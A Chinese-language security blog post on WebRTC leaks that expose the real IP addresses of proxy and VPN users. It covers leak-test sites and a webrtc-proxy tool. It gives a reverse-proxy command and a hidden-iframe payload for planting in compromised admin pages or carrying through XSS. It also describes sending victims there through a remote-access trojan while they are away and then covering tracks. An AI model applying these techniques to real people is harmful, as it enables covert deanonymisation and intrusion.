WebRTC溯源的幾個實戰利用場景
現在只對常讀和星標的公眾號才展示大圖推送,建議大家把瀟湘信安“設為星標”,否則可能看不到了!
0x00 前言
最近看到幾篇有關WebRTC泄露源IP的文章,這個問題其實很多年前就有人提出來了,只是當時沒咋引起重視;最近看又有師傅提起了,寫篇文章簡單記錄分享下。
目前想到在實戰中可利用的場景有:HW攻防演練、BC/ZP溯源對方真實IP等...。
0x01 泄露原因
瀏覽器支持WebRTC并在沒被禁用的情況下就有可能會泄露源IP地址,如常用的:Chrome、Firefox、Edga等瀏覽器均支持WebRTC。

0x02 在線檢測
WebRTC可怕之處在于,即使我們使用VP嗯、或者通過小飛機、v2rayN等進行全局代理后仍會泄露我們的真實IP,可以用以下幾個網址來檢測,如下圖所示。
https://ip8.com/webrtc-testhttps://www.hackjie.com/trackinghttps://browserleaks.com/webrtchttps://surfshark.com/zh/webrtc-leak-test

注:群里幾個小伙伴用他們的VP嗯也測試了下,但發現并沒有顯示真實IP,有時只會顯示一個內網IP;由于我沒有VP嗯就不測試了,大家有的可以自己去測試下。

0x03 項目介紹
簡單介紹下@iiiusky師傅的webrtc-proxy項目,它是通過 "反向代理 + webrtc" 的方式在對方神不知鬼不覺的情況下獲取對方的真實IP,具體參數說明可見下圖。
項目地址:https://github.com/iiiusky/webrtc-proxy

0x04 實戰場景
搞攻防演練和做HC的基本都會掛代理來隱藏自己的真實IP,那么我們又該如何獲取他們的真實IP呢?僅提供幾種場景下的利用思路,實戰還得根據所遇到的場景測試。
1. 釣魚場景利用
假設我們在攻防演練中通過反制手段拿到紅隊主機權限,或者通過釣魚方式拿到某BC客服、技術、代理的主機權限,這時就可以利用webrtc-proxy獲取對方的真實IP。
執行以下命令可反代指定網站并生成一個webrtc地址以隱藏形式插入到body標簽中,不過我們最好還是反代他們自己網站或者常用網站,要不容易被管理發現異常。
./WebRtc -d 1.***.**.84 -t https://www.baidu.com -p 80 --disable-random-log


因為要通過他們主機的瀏覽器去訪問我們的反代地址,有啥瀏覽器就用啥吧,但最好還是先觀察下對方是否在電腦前,趁其不在時再去操作。
反正也就“3秒”的事,等完事了再“擦擦”...。
這里我用的QuasarRAT開源遠控進行測試,通過“Sent to Website”功能使用他們主機的默認瀏覽器訪問反代地址或webrtc地址,但需要將“隱藏訪問”選項取消勾選。

執行以上操作后對方主機就會使用默認瀏覽器訪問我們給定的這個網址,這時可以看到已經成功獲取到他代理背后的真實IP了,如下圖所示。

反向代理開啟后會在當前目錄下生成兩個日志文件,access為訪問日志,另一個為webrtc日志,找到的真實IP就會寫入在這個文件中,如下圖所示。

注意事項:
- 我們也嘗試了一些瀏覽器的靜默訪問方法,但都只能獲取到代理IP,無法獲取到真實IP,好像是因為沒能加載反代中的webrtc吧,沒找到更好的靜默訪問方法,暫時只能這樣了。
- 補充:最近了解到一個叫HVNC的東東,理論上應該是可行的,但我并沒有去測試;國外大多數RAT都有這功能,如:Venom RAT,大家可以自己去測試下。HVNC!隱藏桌面CobaltStrike插件
- 為什么不直接RDP進去使用在線檢測網址獲取真實IP呢?因為這樣動靜太大,更容易被管理發現,因為登錄RDP產生的日志更多,可能會觸發防護的登錄提醒而導致權限丟失。
2. 漏洞場景利用
當挖到xss、csrf、上傳等漏洞時就可以通過構造payload插入我們的webrtc地址來獲取對方的真實IP,只要他通過瀏覽器訪問了我們的webrtc時即可獲取到真實IP。
title="Damn Vulnerable Web Application (DVWA)-v1.9"
或者通過某些漏洞拿到webshell權限后可以在管理、代理后臺登錄頁的源代碼中插入我們的webrtc,直接用以下代碼即可,等待他們訪問后臺時即可獲取到真實IP。
<iframe style="display:none;" src="webrtc"></iframe>

